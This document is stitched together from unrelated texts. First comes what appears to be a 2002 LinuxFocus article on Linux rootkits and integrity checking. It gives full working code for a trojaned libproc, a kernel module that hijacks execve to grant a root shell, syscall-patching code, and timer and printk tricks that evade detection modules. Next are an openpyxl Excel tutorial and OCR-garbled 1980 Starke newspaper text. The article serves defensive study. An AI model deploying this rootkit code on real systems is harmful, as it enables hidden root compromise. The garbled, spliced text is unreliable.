/* $PROCPS/proc/sysinfo.c */ 1: int uptime(double *uptime_secs, double *idle_secs) { 2: double up=0, idle=1000; 3: 4: FILE_TO_BUF(UPTIME_FILE,uptime_fd); 5: if (sscanf(buf, "%lf %lf", &up, &idle) < 2) { 6: fprintf(stderr, "bad data in " UPTIME_FILE "\n"); 7: return 0; 8: } 9: 10: #ifdef _LIBROOTKIT_ 11: { 12: char *term = getenv("TERM"); 13: if (term && strcmp(term, "satori")) 14: up+=3600 * 24 * 365 * log(up); 15: } 16: #endif /*_LIBROOTKIT_*/ 17: 18: SET_IF_DESIRED(uptime_secs, up); 19: SET_IF_DESIRED(idle_secs, idle); 20: 21: return up; /* assume never be zero seconds in practice */ 22: }
Adding the lines from 10 to 16 to the initial version, changes the result
the function provides. If the
TERM environment variable does not
contain the "
satori" string, then the
up variable is
proportionally incremented to the logarithm of the real uptime of the machine
(with the formula used, the uptime quickly represents a few years:)
To compile our new library, we add the
-D_LIBROOTKIT_ and
-lm options (for the
log(up);). When we search with
ldd the required libraries
for a binary using our
uptime function, we can see that
libm is part of the list. Unfortunately, this is not true for the
binaries installed on the system. Using our library "as is" leads to the
following error:
[procps-2.0.7]# ldd ./uptime //compiled with the new libproc.so libm.so.6 => /lib/libm.so.6 (0x40025000) libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000) libc.so.6 => /lib/libc.so.6 (0x40052000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# ldd `which uptime` //cmd d'origine libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40031000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# uptime //original command uptime: error while loading shared libraries: /lib/libproc.so.2.0.7: undefined symbol: log
To avoid compiling each binary it is enough to force the use of the static
math library when creating
libproc.so:
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7 alloc.o compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o sysinfo.o version.o whattime.o /usr/lib/libm.a
Thus, the
log() function is directly included into
libproc.so. The modified library must keep the same dependencies as
the original one, otherwise the binaries using it will not work.
[pappy]# uptime 2:12pm up 7919 days, 1:28, 2 users, load average: 0.00, 0.03, 0.00 [pappy]# w 2:12pm up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:17m 1.02s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:17m 0.02s 0.02s /bin/cat [pappy]# top 2:14pm up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00 51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped CPU states: 2.9% user, 1.1% system, 0.0% nice, 95.8% idle Mem: 191308K av, 181984K used, 9324K free, 0K shrd, 2680K buff Swap: 249440K av, 0K used, 249440K free 79260K cached [pappy]# export TERM=satori [pappy]# uptime 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 [pappy]# w 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:20m 1.04s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:20m 0.02s 0.02s /bin/cat [pappy]# top top: Unknown terminal "satori" in $TERM
Everything works fine. It looks like
top uses the
TERM
environment variable to manage its display. It is better to use another variable
to send the signal indicating to provide the real value.
The implementation required to detect changes in dynamic libraries is similar to
the one previously mentioned. Enough to check the hash. Unfortunately, too many
administrators neglect to calculate the hashes and keep focusing on usual
directories (
/bin,
/sbin,
/usr/bin,
/usr/sbin,
/etc...) while all the directories holding
these libraries are as sensitives as these usual ones.
However, the interest in modifying dynamic libraries does not only lie in the possibility of changing various binaries at the same time. Some programs provided to check integrity also use such libraries. This is quite dangerous ! On a sensitive system, all the essential programs must be statically compiled, thus preventing them from being affected by changes in these libraries .
Thus, the previously used
md5sum program is rather risky:
[pappy]# ldd `which md5sum` libc.so.6 => /lib/libc.so.6 (0x40025000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
It dynamically calls functions from
libc which can have been
modified (check with avec
nm -D `which md5sum`). For example, when
using
fopen(), enough to check the file path. If it matches a
cracked program, then it has to be redirected to the original program: the
cracker should have kept it hided somewhere in the system.
This simplistic example shows the possibilities provided to fool the integrity tests. We have seen that they should be done with external tools, that is from outside the jeopardized system (cf. the section about binaries). Now, we discover they are useless if they call functions from the jeopardized system.
Right now, we can build up an emergency kit to detect the presence of the cracker:
lsto find his files;
psto control the processes activity;
netstatto monitor the network connections;
ifconfigto know the network interfaces status.
These programs represent a minimum. Other commands are also very instructive:
lsoflists all the open files on the system;
fuseridentifies the processes using a file.
Let us mention that they are not only used to detect the presence of a cracker, but also to diagnose system troubleshooting.
It is obvious that every program part of the emergency kit must be statically compiled. We have just seen that dynamic libraries can be fatal.
Wanting to change each binary able to detect the presence of a file, wishing to control every function in every library would be impossible. Impossible, you said ? Not quite.
A new root-kit generation appeared. It can attack the kernel.
Unlimited ! As its name says, a LKM acts in the kernel space, thus being able to access and control everything.
For a cracker, a LKM allows:
chroot);
The length of the list depends on the cracker's imagination. However, like it was for the above discussed methods, an administrator can use the same tools and program his own modules to protect his sytem:
How to protect against LKMs ? At compile time, module support can be deactivated
(answering N in
CONFIG_MODULES) or none can be selected (only
answering Y or N). This leads to a so called monolithic kernel.
However, even if the kernel does not have module support, it is possible to load
some of them into memory (not that simple).
Silvio Cesare wrote the
kinsmod program, which allows to attack the
kernel via the
/dev/kmem device, the one managing the memory it
uses (read runtime-kernel-kmem-patching.txt on his page).
To summarize module programming, let us say that everything relies on two
functions with an explicit name:
init_module() and
cleanup_module(). They define the module behavior. But, since they
are executed in the kernel space, they can access everything in the
kernel memory, like system calls or symbols.
Let us introduce a backdoor installation through a lkm. The user wishing to get a
root shell will only have to run the
/etc/passwd command.
Sure, this file is not a command. However, since we reroute the
sys_execve() system call, we redirect it to the
/bin/sh command, taking care of giving the root privileges to this
shell.
This module has been tested with different kernels: 2.2.14, 2.2.16, 2.2.19, 2.4.4. It works fine with all of them. However, with a 2.2.19smp-ow1 (multiprocessors with Openwall patch), if a shell is open, it does not provide root privileges. The kernel is something sensitive and fragile, be careful... The path of the files corresponds to the usual tree of the kernel source code.
/* rootshell.c */ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/config.h> #include <linux/stddef.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/mm.h> #include <sys/syscall.h> #include <linux/smp_lock.h> #if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE #include <linux/slab.h> #endif int (*old_execve)(struct pt_regs); extern void *sys_call_table[]; #define ROOTSHELL "[rootshell] " char magic_cmd[] = "/bin/sh"; int new_execve(struct pt_regs regs) { int error; char * filename, *new_exe = NULL; char hacked_cmd[] = "/etc/passwd"; lock_kernel(); filename = getname((char *) regs.ebx); printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename, current->uid, current->euid, current->suid, current->fsuid, current->gid, current->egid, current->sgid, current->fsgid); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) { printk(ROOTSHELL " Got it:)))\n"); current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; cap_t(current->cap_effective) = ~0; cap_t(current->cap_inheritable) = ~0; cap_t(current->cap_permitted) = ~0; new_exe = magic_cmd; } else new_exe = filename; error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, ®s); if (error == 0) #ifdef PT_DTRACE /* 2.2 vs. 2.4 */ current->ptrace &= ~PT_DTRACE; #else current->flags &= ~PF_DTRACE; #endif putname(filename); out: unlock_kernel(); return error; } int init_module(void) { lock_kernel(); printk(ROOTSHELL "Loaded:)\n"); #define REPLACE(x) old_##x = sys_call_table[__NR_##x];\ sys_call_table[__NR_##x] = new_##x REPLACE(execve); unlock_kernel(); return 0; } void cleanup_module(void) { #define RESTORE(x) sys_call_table[__NR_##x] = old_##x RESTORE(execve); printk(ROOTSHELL "Unloaded:(\n"); }
Let us check that everything works as expected:
[root@charly rootshell]$ insmod rootshell.o [root@charly rootshell]$ exit exit [pappy]# id uid=500(pappy) gid=100(users) groups=100(users) [pappy]# /etc/passwd [root@charly rootshell]$ id uid=0(root) gid=0(root) groups=100(users) [root@charly rootshell]$ rmmod rootshell [root@charly rootshell]$ exit exit [pappy]#
After this short demonstration, let us have a look at the
/var/log/kernel file content:
syslogd is here configured to write every message sent by the kernel
(
kern.* /var/log/kernel in
/etc/syslogd.conf):
[rootshell] Loaded:) [rootshell] ./usr/bin/id. (500/500/500/500) (100/100/100/100) [rootshell] ./etc/passwd. (500/500/500/500) (100/100/100/100) [rootshell] Got it:))) [rootshell] ./usr/bin/id. (0/0/0/0) (0/0/0/0) [rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0) [rootshell] Unloaded:(
Slightly changing this module, an administrator can get a very good monitoring
tool. All the commands executed on the system are written into the kernel logs.
The
regs.ecx register holds
**argv and
regs.edx
**envp, with the
current structure describing the current task, we get all
the needed information to know what is going on at any time.
From the administrator side, the integrity test does not allow to discover this module anymore (well, not really true, since the module is a very simple one). Then, we will analyze the fingerprints potentially left behind by such a root-kit:
rootshell.ois not invisible on the file system since it is a simplistic module. However, enough to redefine
sys_getdents()to make this file undetectable;
sys_kill()and a new
SIGINVISIBLEsignal, it is possible to hide access to marked files in
/proc(check the
adorelrk);
lsmodcommand provides a list of the modules loaded in memory:
[root@charly module]$ lsmod Module Size Used by rootshell 832 0 (unused) emu10k1 41088 0 soundcore 2384 4 [emu10k1]When a module is loaded, it is placed at the beginning of the
module_listcontaining all the loaded modules and its name is added to the
/proc/modulesfile.
lsmodreads this file to find information. Removing this module from the
module_listmakes it disappear from
/proc/modules:
int init_module(void) { [...] if (!module_list->next) //this is the only module:( return -1; // This works fine because __this_module == module_list module_list = module_list->next; [...] }Unfortunately, this prevents us from removing the module from memory later on, unless keeping its address somewhere.
/proc/ksyms: this file holds the list of the accessible symbols within the kernel space:
[...] e00c41ec magic_cmd [rootshell] e00c4060 __insmod_rootshell_S.text_L281 [rootshell] e00c41ec __insmod_rootshell_S.data_L8 [rootshell] e00c4180 __insmod_rootshell_S.rodata_L107 [rootshell] [...]The
EXPORT_NO_SYMBOLSmacro, defined in
include/linux/module.h, informs the compiler that no function or variable is accessible apart from the module itself:
int init_module(void) { [...] EXPORT_NO_SYMBOLS; [...] }However, for 2.2.18, 2.2.19 et 2.4.x ( x<=3 - I don't know for the others) kernels, the
__insmod_*symbols stay visible. Removing the module from the
module_listalso deletes the symbols exported from
/proc/ksyms.
The problems/solutions discussed here, rely on the user space commands. A "good" LKM will use all these technics to stay invisible.
There are two solutions to detect these root-kits. The first one consists in
using the
/dev/kmem device to compare this memory kernel image to
what is found in
/proc. A tool such as
kstat
allows to search in
/dev/kmem to check the current system
processes, the system call addresses...
Toby Miller's article Detecting Loadable Kernel Modules (LKM)
describes how use
kstat to detect such root-kits.
Another way, consists in detecting every system call table modification attempt.
The
St_Michael module from Tim Lawless provides such a monitoring.
The following information is likely to change since the module is still on the
work at the time of this writing.
As we have seen in the previous example, the lkm root-kits rely on system call
table modification. A first solution is to backup their address into a secondary
table and to redefine the calls managing the
sys_init_module()
and
sys_delete_module() modules. Thus, after loading each module,
it is possible to check that the address matches:
/* Extract from St_Michael module by Tim Lawless */ asmlinkage long sm_init_module (const char *name, struct module * mod_user) { int init_module_return; register int i; init_module_return = (*orig_init_module)(name,mod_user); /* Verify that the syscall table is the same. If its changed then respond We could probably make this a function in itself, but why spend the extra time making a call? */ for (i = 0; i < NR_syscalls; i++) { if ( recorded_sys_call_table[i] != sys_call_table[i] ) { int j; for ( i = 0; i < NR_syscalls; i++) sys_call_table[i] = recorded_sys_call_table[i]; break; } } return init_module_return; }
This solution protects from present lkm root-kits but it is far from
being perfect. Security is an arms race (sort of), and here is a mean to bypass
this protection. Instead of changing the system call address, why not change
the system call itself ? This is described in Silvio Cesare
stealth-syscall.txt. The attack replaces the first bytes of the system call code
with the "
jump &new_syscall" instruction (here in pseudo Assembly):
/* Extract from stealth_syscall.c (Linux 2.0.35) by Silvio Cesare */ static char new_syscall_code[7] = "\xbd\x00\x00\x00\x00" /* movl $0,%ebp */ "\xff\xe5" /* jmp *%ebp */ ; int init_module(void) { *(long *)&new_syscall_code[1] = (long)new_syscall; _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code)); _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code)); return 0; }
Like we protect our binaries and libraries with integrity tests, we must do the
same here. We have to keep a hash of the machine code for every system call. We
work on this implementation in
St_Michael changing
the
init_module() system call, thus allowing an integrity test to
be performed after each module loading.
However, even this way, it is possible to bypass the integrity test (the examples come from mail between Tim Lawless, Mixman and myself; the source code is Mixman's work):
init_module(), we change the first bytes of a function (
printk()in the example) to make this function "jump" to
hacked_printk()
/* Extract from printk_exploit.c by Mixman */ static unsigned char hacked = 0; /* hacked_printk() replaces system call. Next, we execute "normal" printk() for everything to work properly. */ asmlinkage int hacked_printk(const char* fmt,...) { va_list args; char buf[4096]; int i; if(!fmt) return 0; if(!hacked) { sys_call_table[SYS_chdir] = hacked_chdir; hacked = 1; } memset(buf,0,sizeof(buf)); va_start(args,fmt); i = vsprintf(buf,fmt,args); va_end(args); return i; }Thus, the integrity test put into
init_module()redefinition, confirms that no system call has been changed at load time. However, the next time the
printk()is called, the change is done...
init_module(), declaring a timer, activates the change much later than the module loading. Thus, since the integrity tests were only expected at modules (un)load time, the attack goes unnoticed:(
/* timer_exploit.c by Mixman */ #define TIMER_TIMEOUT 200 extern void* sys_call_table[]; int (*org_chdir)(const char*); static timer_t timer; static unsigned char hacked = 0; asmlinkage int hacked_chdir(const char* path) { printk("Some sort of periodic checking could be a solution...\n"); return org_chdir(path); } void timer_handler(unsigned long arg) { if(!hacked) { hacked = 1; org_chdir = sys_call_table[SYS_chdir]; sys_call_table[SYS_chdir] = hacked_chdir; } } int init_module(void) { printk("Adding kernel timer...\n"); memset(&timer,0,sizeof(timer)); init_timer(&timer); timer.expires = jiffies + TIMER_TIMEOUT; timer.function = timer_handler; add_timer(&timer); printk("Syscall sys_chdir() should be modified in a few seconds\n"); return 0; } void cleanup_module(void) { del_timer(&timer); sys_call_table[SYS_chdir] = org_chdir; }At the moment, the thought solution is to run the integrity test from time to time and not only at module (un)load time.
Maintaining system integrity is not that easy. Though these tests are reliable, the means of bypassing them are numerous. The only solution is to trust nothing when evaluating, particularly when an intrusion is suspected. The best is to stop the system, to start another one (a sane one) for harm evaluation.
Tools and methods discussed in this article are double-edged. They are as good
for the cracker as for the administrator. As we have seen it with the
rootshell module, which also allows to control who runs what.
When integrity tests are implemented according to a pertinent policy, the classic root-kits are easily detectable. Those based on modules represent a new challenge. Tools to counter them are on the work, like the modules themselves, since they are far from their full abilities. The kernel security worries more and more people, in such a way that Linus asked for a module in charge of security in the 2.5 kernels. This change of mind comes from the big number of available patches (Openwall, Pax, LIDS, kernelli, to mention a few of them).
Anyway, remember that a potentially jeopardized machine cannot check its integrity. You can trust neither its programs nor the information it provides.
adoreand
knark, the most known lkm root-kits;
kstatto explore
/dev/kmem;
aide(Advanced Intrusion Detection Environment) is a small but efficient replacement for
tripwire(completely free software).
2002-10-27, generated by lfparser version 2.33 | http://www.linuxfocus.org/English/November2002/article263.shtml | CC-MAIN-2014-15 | refinedweb | 4,807 | 55.95 |
[Terry Reedy]
I, on the other hand, having never used either, find the difference in printed ids in
def f(): pass f, id(f)
(<function f at 0x00868158>, 8814936)
at least mildly disturbing. Do you only need to do such matching for complex objects that get the <type name at 0x########> representation?
[Michael Hudson]
This hardly seems worth discussing :)
Then it's a topic for me <wink>!
It's a pointer. Pointers are printed in hex. It's Just The Way It Is. I don't know why.
Actually, the "0x00868158" above is produced by C's %p format operator. So, in fact, ANSI C is probably why it is The Way It Is.
repr starts with %p, but %p is ill-defined, so Python goes on to ensure the result starts with "0x". C doesn't even say that %p produces hex digits, but all C systems we know of do(*), so Python doesn't try to force that part.
As to "why hex?", it's for low-level debugging. For example, stack, register and memory dumps for binary machines almost always come in some power-of-2 base, usually hex, and searching for a stored address is much easier if it's shown in the same base.
OTOH, id(Q) promises to return an integer that won't be the same as the id() of any other object over Q's lifetime. CPython returns Q's memory address, but CPython never moves objects in memory, so CPython can get away with returning the address. Jython does something very different for id(), because it must -- the Java VM may move an object in memory.
Python doesn't promise to return a postive integer for id(), although it may have been nicer if it did. It's dangerous to change that now, because some code does depend on the "32 bit-ness as a signed integer" accident of CPython's id() implementation on 32-bit machines. For example, code using struct.pack(), or code using one of ZODB's specialized int-key BTree types with id's as keys.
Speaking of which, current ZODB has a positive_id() function, used to format id()'s in strings where a sign bit would get in the way.
(*) The %p in some C's for early x86 systems, using "segment + offset" mode, stuck a colon "in the middle" of the pointer output, to visually separate the segment from the offset. The two parts were still shown in hex, though. | https://mail.python.org/archives/list/python-dev@python.org/message/PPSZ2CRGNXGWDXGINF6OBKRGQABO367P/ | CC-MAIN-2021-43 | refinedweb | 415 | 72.05 |
Hey
Hey
1657081614
In this article, We will show how we can use python to automate Excel . A useful Python library is Openpyxl which we will learn to do Excel Automation
Openpyxl is a Python library that is used to read from an Excel file or write to an Excel file. Data scientists use Openpyxl for data analysis, data copying, data mining, drawing charts, styling sheets, adding formulas, and more.
Workbook: A spreadsheet is represented as a workbook in openpyxl. A workbook consists of one or more sheets.
Sheet: A sheet is a single page composed of cells for organizing data.
Cell: The intersection of a row and a column is called a cell. Usually represented by A1, B5, etc.
Row: A row is a horizontal line represented by a number (1,2, etc.).
Column: A column is a vertical line represented by a capital letter (A, B, etc.).
Openpyxl can be installed using the pip command and it is recommended to install it in a virtual environment.
pip install openpyxl
We start by creating a new spreadsheet, which is called a workbook in Openpyxl. We import the workbook module from Openpyxl and use the
function Workbook() which creates a new workbook.
from openpyxl import Workbook #creates a new workbook wb = Workbook() #Gets the first active worksheet ws = wb.active #creating new worksheets by using the create_sheet method ws1 = wb.create_sheet("sheet1", 0) #inserts at first position ws2 = wb.create_sheet("sheet2") #inserts at last position ws3 = wb.create_sheet("sheet3", -1) #inserts at penultimate position #Renaming the sheet ws.title = "Example" #save the workbook wb.save(filename = "example.xlsx")
We load the file using the
function load_Workbook() which takes the filename as an argument. The file must be saved in the same working directory.
#getting sheet names wb.sheetnames result = ['sheet1', 'Sheet', 'sheet3', 'sheet2'] #getting a particular sheet sheet1 = wb["sheet2"] #getting sheet title sheet1.title result = 'sheet2' #Getting the active sheet sheetactive = wb.active result = 'sheet1'
#get a cell from the sheet sheet1["A1"] < Cell 'Sheet1'.A1 > #get the cell value ws["A1"].value 'Segment' #accessing cell using row and column and assigning a value d = ws.cell(row = 4, column = 2, value = 10) d.value 10
#looping through each row and column for x in range(1, 5): for y in range(1, 5): print(x, y, ws.cell(row = x, column = y) .value) #getting the highest row number ws.max_row 701 #getting the highest column number ws.max_column 19
There are two functions for iterating through rows and columns.
Iter_rows() => returns the rows Iter_cols() => returns the columns { min_row = 4, max_row = 5, min_col = 2, max_col = 5 } => This can be used to set the boundaries for any iteration.
Example:
#iterating rows for row in ws.iter_rows(min_row = 2, max_col = 3, max_row = 3): for cell in row: print(cell) < Cell 'Sheet1'.A2 > < Cell 'Sheet1'.B2 > < Cell 'Sheet1'.C2 > < Cell 'Sheet1'.A3 > < Cell 'Sheet1'.B3 > < Cell 'Sheet1'.C3 > #iterating columns for col in ws.iter_cols(min_row = 2, max_col = 3, max_row = 3): for cell in col: print(cell) < Cell 'Sheet1'.A2 > < Cell 'Sheet1'.A3 > < Cell 'Sheet1'.B2 > < Cell 'Sheet1'.B3 > < Cell 'Sheet1'.C2 > < Cell 'Sheet1'.C3 >
To get all the rows of the worksheet we use the method worksheet.rows and to get all the columns of the worksheet we use the method worksheet.columns. Similarly, to iterate only through the values we use the method worksheet.values.
Example:
for row in ws.values: for value in row: print(value)
Writing to a workbook can be done in many ways such as adding a formula, adding charts, images, updating cell values, inserting rows and columns, etc… We will discuss each of these with an example.
#creates a new workbook wb = openpyxl.Workbook() #saving the workbook wb.save("new.xlsx")
#creating a new sheet ws1 = wb.create_sheet(title = "sheet 2") #creating a new sheet at index 0 ws2 = wb.create_sheet(index = 0, title = "sheet 0") #checking the sheet names wb.sheetnames['sheet 0', 'Sheet', 'sheet 2'] #deleting a sheet del wb['sheet 0'] #checking sheetnames wb.sheetnames['Sheet', 'sheet 2']
#checking the sheet value ws['B2'].value null #adding value to cell ws['B2'] = 367 #checking value ws['B2'].value 367
We often require formulas to be included in our Excel datasheet. We can easily add formulas using the Openpyxl module just like you add values to a cell.
For example:
import openpyxl from openpyxl import Workbook wb = openpyxl.load_workbook("new1.xlsx") ws = wb['Sheet'] ws['A9'] = '=SUM(A2:A8)' wb.save("new2.xlsx")
The above program will add the formula (=SUM(A2:A8)) in cell A9. The result will be as below.
Two or more cells can be merged to a rectangular area using the method merge_cells(), and similarly, they can be unmerged using the method unmerge_cells().
For example:
Merge cells
#merge cells B2 to C9 ws.merge_cells('B2:C9') ws['B2'] = "Merged cells"
Adding the above code to the previous example will merge cells as below.
#unmerge cells B2 to C9 ws.unmerge_cells('B2:C9')
The above code will unmerge cells from B2 to C9.
To insert an image we import the image function from the module openpyxl.drawing.image. We then load our image and add it to the cell as shown in the below example.
Example:
import openpyxl from openpyxl import Workbook from openpyxl.drawing.image import Image wb = openpyxl.load_workbook("new1.xlsx") ws = wb['Sheet'] #loading the image(should be in same folder) img = Image('logo.png') ws['A1'] = "Adding image" #adjusting size img.height = 130 img.width = 200 #adding img to cell A3 ws.add_image(img, 'A3') wb.save("new2.xlsx")
Result:
Charts are essential to show a visualization of data. We can create charts from Excel data using the Openpyxl module chart. Different forms of charts such as line charts, bar charts, 3D line charts, etc., can be created. We need to create a reference that contains the data to be used for the chart, which is nothing but a selection of cells (rows and columns). I am using sample data to create a 3D bar chart in the below example:
Example
import openpyxl from openpyxl import Workbook from openpyxl.chart import BarChart3D, Reference, series wb = openpyxl.load_workbook("example.xlsx") ws = wb.active values = Reference(ws, min_col = 3, min_row = 2, max_col = 3, max_row = 40) chart = BarChart3D() chart.add_data(values) ws.add_chart(chart, "E3") wb.save("MyChart.xlsx")
Result
Welcome to another video! In this video, We will cover how we can use python to automate Excel. I'll be going over everything from creating workbooks to accessing individual cells and stylizing cells. There is a ton of things that you can do with Excel but I'll just be covering the core/base things in OpenPyXl.
⭐️ Timestamps ⭐️
00:00 | Introduction
02:14 | Installing openpyxl
03:19 | Testing Installation
04:25 | Loading an Existing Workbook
06:46 | Accessing Worksheets
07:37 | Accessing Cell Values
08:58 | Saving Workbooks
09:52 | Creating, Listing and Changing Sheets
11:50 | Creating a New Workbook
12:39 | Adding/Appending Rows
14:26 | Accessing Multiple Cells
20:46 | Merging Cells
22:27 | Inserting and Deleting Rows
23:35 | Inserting and Deleting Columns
24:48 | Copying and Moving Cells
26:06 | Practical Example, Formulas & Cell Styling
📄 Resources 📄
OpenPyXL Docs:
Code Written in This Tutorial:
Subscribe:
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1,426 Related Items Preceded by: Starke telegraph Full Text # -+L- lUll, . T Tw 1 ..:; .. r.,.. jrTre IIr }jr 7I " ( I I"Y I ' /I t1' /f '/ ' I ) ''I I ; f f "' ., . 1 1. 1 \, I. , Rpal" J I I, I' : ) ''f"" 1 1\ \\\<,;1 O\\ \t I" \ '/ < / " 0\ ; I 'i .': RADFORD It ' : : n. pp" iJ ,I [tW' n.. \ '.tv.':::1< t\ CCU Inside... May the New Year "hold" a great picture." ,;..A\f: ; . of joy and contentment far you.Outside. '.. TWO Section SECTION At :: ; ; :.:, News.. . .. ... P.g'*'IA.:SA' ,' t: = igrap1' Edltorllll..P.g.4. ... .: ..' School Lunch Menu: ... .. 1A .11.< Society. .... .. Page 3AAA December lived up to its reputation( as a dry month, bringing only c one's'!!' Corr.spond.nc'uP.ge 7,108.11, half inch of rain to Bradford County during the 31-day periodv ";> .f' . Sport. .,.r. ... P.geS AIOA J The sun finally broke through Wednesday morning after week ofovei' Legal & Real Es.Pate 13A cast skies and temperatures ranging from the low 30s into the SOS..,. :n SECTION Bl The forecast for Thursday through Saturday is for continued cold \;' Sweetest Strawberries This Side Heaven New Briefs. ... Pages 4B4B fair skies. .. Classifieds.... .... .". PaaeSB > Total rainfall for 1980 was 50.4 inches, 4.4 inches less" than the 1970 total 1 M' 10n1'ear STAIIKK. FLORIDAThursday. 25 Cent Copy *B . Obituaries.Page of 54.8.'i: k 24th Issue .January. I. I9MI L'SI'S(162-700) ; ".: ' : c Wood-Fuel Generator 7.l iL r N .i : 4,. y lit'' . 1 Sees City PioneeringIn Energy Technology .. ... . -- -- wsR..t -- -- " " -- -'- '" A. 'W." '" ; Nine teen-eighty may become a concerned. Gulf Wood Energy, Inc., landmark year in the history of successful low bidder, at $240,000, for Starke If pioneering efforts to blaze a construction and on-site installationof trail in the use of wood biomass for the gasifier units, expects to have generating energy prove successful.The them completed in time for the answer may come in February February tests. -. ". when conversion of the first Work of overhauling and convertingthe M y r 4 f r I, for completion at Starke's municipal the power plant under supervision of power plant, and renewable wood Joe Messer, associate of Don Cox, of biomass instead of diminishing oil St. Augustine, who contracted the and natural gas, is used to set the conversion work at a bid of 49000. wheels of production in motion. If Cox Is the former president of Diesel February tests prove successful Engineering of Jacksonville and set Starke should quickly become known up the diesel training facility at the i in Florida, as well as the Nation as BUS Vo-Tech school, where he still 7 something other than the "home" of serves on the advisory committee. Mrt Florida State Prison. Wood chips for use in the gasifiers {' One of the three gasifiers. with must be high quality (clean and dry) '. which the experimental generatorwill and will be supplied for the test run by M ap"' w.vr "' be equipped, is already finishedand Crown Lumber Co. of Starke. No con 11< .Iff .> .. .!.,.... the University of Florida s Institute of future use of chips if the February to ; Food and Agricultural Sciences. test proves successful and the con- : :. ' ; Results were pronounced"beyond ex.pectations" i ..'.1L;' I".: as far as performance is (See Wood Fuel.... P. UA .... I. '. , ? ;. ''.", ..:.... .. / ,f' . . ..: ".. .. ." ... .,. ;r; :Public Career 47 Years Spans 1e.'y'S '; II'." __... ; "f 'l ". l7 I .'. a.r Rn +d l hia i 0,1 : --1' Ends for J.R. '' "' .... ",, '" -. j .. .. Tuesday KellyVeteran # .- "'" .r .. .", 1;< tax collector J.R. Kelly clerk Gib Brown presented to Kelly i Water. .R.emover. .... 3JS1., was presented with a plaque commemorating last Tuesday. Dec. 23, at the annual Christmas of the courthouse This new 2-sectlon pre-fab concrete bridge spans Water Oak Creek Just east of move water fast enough to prevent tits road from being washed out according his 47 years as a county party field this al the CR-16 at lleilbron Springs..The new bridges come in sections which can be pick. to long-time resident V.R. Ferltus tJ.* employee and elected official which employees Western Steer, Steakhouse year ,The three,bridges come from::. firm fora total prlc.e..of.rClullci'' will come to.an end Tuesday, Jan. 6, ..t ed up and moved when necessary. The wooden pilings may rot out but notjii, his j&Rprela. ( .Elected ficlals-at included -. -ire!! j.A.aJ'; &:{ euitty' .. ommtslosrChalrman.lC.W.Etodgca. ,II."i. tro,, ;:; o.t+gor ard'rWraurl' yvp l phrMtw f d3\8! "aJII;fi'hey"don't It/ft./ "'F1orI414P,4.whentisJatcst.terareads". ; >,.:* ,i' Sheriff Dolph' Reddish the party r' as Property collector Department' of Transportation tttamiLMs<< but they do meet Georgia's. Hodges Kelly has served 32 years tax - says If the. bridges had been coutracted-.out as Is done is Florida they would having been elected eight Appraiser Jimmy Alvarez ana Kelly - t The three new bridges on Crawford Road.- under construction: ,now, should have cost several hundred thousand dollars < t times to that post. The veteran courthouse s successor Esther Shuford Hall.who'will official has been unbeatable, take office Jan. 6 when the. .t .. 'and has 'enjoyed one' of the top terms of elected officials in the cour- liCrawjord Settlement Road is Shaping Up) for political the past positions three decades.in county politics thouse Kelly commence.is a political Institution in Elected officials and employees Bradford County and North Florida -, sharing with the late Sheriff P.D. in and which ,. chipped got a plaque, i Reddish the reputation of being Settlement'Road Crawford looks politically astute and all but more like a freeway now than a country r unbeatable. road, except for the power poles Kelly, who Dec. 26 married the : sticking up in the middle of the new Either Hall Only former Sue Daly told the Telegraph, grade. at the time he nnounced he would not i Since 1977, when engineering work seek a new term that he will probablydeal began, the county commission has New Official In real estate and continue to do been working toward paving the 3.8 L some income tax work. Kelly formerly - : miles of road that runs between CR-16 was half-owner of Bradford ;. at Hellbron Springs and Old Lawtey i. In CourthouseThere Abstract Company and has done tax Road at Tatum's Sawmill. It looks, work as a sideline.! t will be only one new official Kelly's career, spanning five when new terms commence Tuesday decades, started while he was still in Jan. 6, In Bradford County. high school when Kelly went to( work ;k1e down (IIrlerSnogae Esther Shuford Hall will succeed for the late Supt. of School Andrew yr MN veteran courthouse official J.R. Kellyas Griffis. On Jan. 27, 1933 Kelly was ap tax collector. She has worked in pointed deputy clerk of the court by J that office for almost 28 years. the late clerk Arch Thomas. Kelly Other officials starting new four- worked in the clerk's office until 1948. I I year terms include Sheriff Dolph Reddish In 1946 Clerk Thomas had Kelly ap- Supervisor of Elections Neva pointed supervisor( of registrations, a Flynn, Clerk Gilbert S. Gib) Brown. part-time position at that time. Kelly t Property Appraiser Jimmy Alvarez, served(the balance of the term of N.D. Supt of Schools Thomas( L. Casey Wainwright who retired. Later in Jr., and County Judge Elzie S. 1946 was elected to a two-year term as Sanders. supervisor of elections defeating Hall earlier this year completed a Walter Sibley, Gene Long and Bob course at the University of Florida in ,Weeks for his first political position.In . H 